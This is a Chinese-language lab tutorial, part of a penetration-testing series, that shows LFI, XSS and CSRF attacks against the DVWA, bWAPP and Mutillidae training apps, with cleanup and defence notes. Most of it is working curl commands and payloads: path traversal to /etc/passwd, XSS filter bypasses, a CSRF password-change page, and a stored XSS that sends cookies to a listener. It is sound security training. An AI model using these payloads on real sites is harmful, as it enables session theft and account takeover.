ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

渗透测试实战从靶场搭建到渗透流程——第 7 篇 · LFI/XSS/CSRF:DVWA + bWAPP + Mutillidae 对照实测

渗透测试实战从靶场搭建到渗透流程——第 7 篇 · LFI/XSS/CSRF:DVWA + bWAPP + Mutillidae 对照实测

目 录

〇、附录:DVWA/bWAPP 登录态脚本(三节通用)

一、LFI 本地文件包含

1.1 DVWA:目录深度先试 5 层

1.2 php://filter 读源码:include 漏洞的进阶用法

1.3 bWAPP 与 Mutillidae 对照

二、XSS 三型对照

2.1 反射型:DVWA 与 bWAPP

2.2 存储型:Mutillidae 留言板

2.3 DOM 型与 Medium 绕过

三、CSRF:让浏览器替攻击者提交请求

四、验收与清场

4.1 验收标准

4.2 清场

〇、附录:DVWA/bWAPP 登录态脚本(三节通用)

DVWA 与 bWAPP 的很多接口需要登录态与安全级别 Cookie,先固化一段登录脚本,本篇三节复用:

# DVWA:登录拿 PHPSESSID + 设置 security=low

TOKEN=$(curl -s -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php | grep -oP "user_token' value='\K[a-f0-9]+")

curl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php \

-d "username=admin&password=password&user_token=$TOKEN&Login=Login" -o /dev/null

curl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt -o /dev/null \

"http://10.10.10.240:8081/security.php?security=low&phpids=off"

# bWAPP:bee/bug 登录(含 security_level 参数)

curl -s -c /tmp/bw.txt -o /dev/null "http://10.10.10.240:8083/login.php" \

--data "login=bee&password=bug&security_level=0&form=login"

验证登录态:curl -s -b /tmp/dvwa.txt "http://10.10.10.240:8081/index.php" | grep -c "Welcome" 应 >=1。后面所有 curl 命令都带 -b /tmp/dvwa.txt 或 /tmp/bw.txt。

一、LFI 本地文件包含

程序把用户输入直接当作文件路径去 include,且未做目录白名单约束,攻击者即可读任意文件、甚至结合上传马执行代码。三个靶场的包含接口与目录深度各不相同,正是对照价值所在。

1.1 DVWA:目录深度先试 5 层

curl -s -b /tmp/dvwa.txt -G "http://10.10.10.240:8081/vulnerabilities/fi/" \

--data-urlencode "page=../../../../../etc/passwd" \

--data-urlencode "Submit=Submit" | grep -c "root:x:0:0"

# 预期(实测):>=1,且能看到 /home/dvwa 账号行

目录深度的规律:DVWA 的页面从 /vulnerabilities/fi/ 起 include,需要 5 层 ../ 才到根。新手常在 2、3 层就放弃——正确做法是从 1 层循环试到 6 层,观察哪一层开始出现预期内容。

1.2 php://filter 读源码:include 漏洞的进阶用法

curl -s -b /tmp/dvwa.txt -G "http://10.10.10.240:8081/vulnerabilities/fi/" \

--data-urlencode "page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd" \

--data-urlencode "Submit=Submit" | grep -oE "[A-Za-z0-9+/=]{40,}" | head -1 | base64 -d

# 输出与直接包含一致,但过程是 base64 传输——可读 PHP 源码而不执行它

# 实用场景:resource 改成 ../fi/index.php 这类源码路径,审计后端逻辑

1.3 bWAPP 与 Mutillidae 对照

# bWAPP:fileinclude.php 的 language 参数(RFI/LFI 双模式)

curl -s -b /tmp/bw.txt "http://10.10.10.240:8083/fileinclude.php?language=../../../../../../etc/passwd" | grep -c "root:x:"

# Mutillidae:page 参数本身包含文件名,同级路径即可读到(位于根目录下)

curl -s "http://10.10.10.240:8084/index.php?page=../../../../../../etc/passwd" | grep -c "root:x:"

注意 RFI 与 LFI 的分界:allow_url_include=Off 时远程包含(http://)失效,只能本地包含。DVWA 高安全级别会做「前缀固定 + 后缀 .php 拼接」——用 %00 截断在 PHP 5.3.4 后已无效,正解是靠目录穿越配合白名单内文件名。三个靶场各自的修复形态不同,读完源码再总结,收获最大。

二、XSS 三型对照

XSS 的本质是把「数据」注入成「代码」——用户输入被拼进 HTML/JS 上下文且未转义。三型在三个靶场的 payload 与利用链各有差异。

类型

特征

经典场景

反射型

payload 在请求中,谁点谁中

搜索框回显、错误页参数

存储型

payload 入库,所有访问者中招

留言板、评论、用户名

DOM 型

纯前端 JS 拼接,服务器无感

location.hash 读取后 innerHTML

2.1 反射型:DVWA 与 bWAPP

# DVWA Reflected(Low):直接回显输入

curl -s -b /tmp/dvwa.txt -G "http://10.10.10.240:8081/vulnerabilities/xss_r/" \

--data-urlencode "name=<script>alert(1)</script>" --data-urlencode "Submit=Submit" | grep -c "<script>alert(1)"

# bWAPP:xss.php 的 firstname 参数,同型 payload

curl -s -b /tmp/bw.txt -G "http://10.10.10.240:8083/xss.php" \

--data-urlencode "firstname=<script>alert(2)</script>" | grep -c "alert(2)"

2.2 存储型:Mutillidae 留言板

curl -s "http://10.10.10.240:8084/index.php?page=guestbook.php" \

--data-urlencode "entry_name=<script>fetch('http://10.10.10.110:9999/?c='+document.cookie)</script>" \

--data-urlencode "entry_message=x" --data-urlencode "entry_php_submit_button=Sign Guestbook" \

-o /dev/null -w "%{http_code}\n"

# Kali 监听 9999,任何人访问留言板页都会把 Cookie 发过来

nc -lvnp 9999 # GET /?c=security=low;%20acuity=... 即偷到会话

存储型之所以危害最高:payload 一旦入库,每个访问者都是受害者,且可长期潜伏(配合 Cookie 外带即是会话劫持)。DVWA 的 Stored XSS 在留言板同样可打。

2.3 DOM 型与 Medium 绕过

# DVWA DOM 型(Low):URL 片段直接进 DOM

# 浏览器访问 http://10.10.10.240:8081/vulnerabilities/xss_d/?default=<script>alert(3)</script>

# 注意:DOM 型必须浏览器触发,curl 验证只能看 JS 是否被拼进源码

# DVWA Reflected Medium 级:script 标签被删(单次替换)

curl -s -b /tmp/dvwa.txt -G "http://10.10.10.240:8081/vulnerabilities/xss_r/" \

--data-urlencode "name=<scr<script>ipt>alert(4)</script>" --data-urlencode "Submit=Submit" | grep -c "alert(4)"

# 1 即双写绕过成功(替换后剩余部分拼回完整 script 标签)

三、CSRF:让浏览器替攻击者提交请求

CSRF 的本质:浏览器会自动携带 Cookie,所以攻击者只要诱导受害者访问一个「自动向目标站点发请求」的页面,就能以受害者身份执行操作(改密、转账、加管理员)。

# DVWA CSRF(Low):GET 改密,无任何 Token

# 构造诱导页 payload.html(Kali 上):<img src="http://10.10.10.240:8081/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">

python3 -m http.server 8000 # 托管,受害者浏览器打开即触发改密

# 验证:密码已变为 hacked(旧 password 登录失败)

bWAPP 变体:POST 型 + 自动提交表单(onload=document.forms[0].submit())。防护端对照:DVWA High 级引入 user_token(每次会话随机),表单不带 Token 即拒绝——这就是 CSRF 的标准解法(Token + SameSite Cookie)。

附带发现(DVWA 会话缺陷):登出再登录 dvwaSession Cookie 数值递增且可预测,配合「安全级别存在客户端 Cookie」的设计,攻击者可直接改 security=low 降级防护——客户端可控的配置永远是靶子。

四、验收与清场

4.1 验收标准

LFI:三靶场均读到 /etc/passwd;DVWA 用 php://filter 拿到 base64 源码。XSS:反射型两处 grep 命中;存储型在 Kali 9999 收到 Cookie 外带;Medium 双写绕过成功。CSRF:DVWA Low 改密成功、High 因缺 Token 失败。

4.2 清场

# 存储型 XSS 的 payload 已入库,必须清掉,否则门户/靶场访问者持续中招

docker exec mutillidae mysql -uroot -proot -e "use mutillidae; delete from guestbook;"

# DVWA 改密后还原密码(用 hacked 登录改回 password)

TOKEN=$(curl -s -b /tmp/dvwa.txt -c /tmp/dvwa.txt http://10.10.10.240:8081/login.php | grep -oP "user_token' value='\K[a-f0-9]+")

# 用 hacked/password 重新登录后,经 CSRF 页面把密码改回 password

# Kali:关闭 http.server 与 nc 监听(Ctrl+C),删除 payload.html 与 Cookie 文件

rm -f /tmp/dvwa.txt /tmp/bw.txt /tmp/payload.html

Web 三件套到此收束。下一篇进入服务型靶标:MySQL 的写文件链——INTO OUTFILE 为什么被 1290 拦死,general_log 又如何绕过 secure_file_priv 完成落盘。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进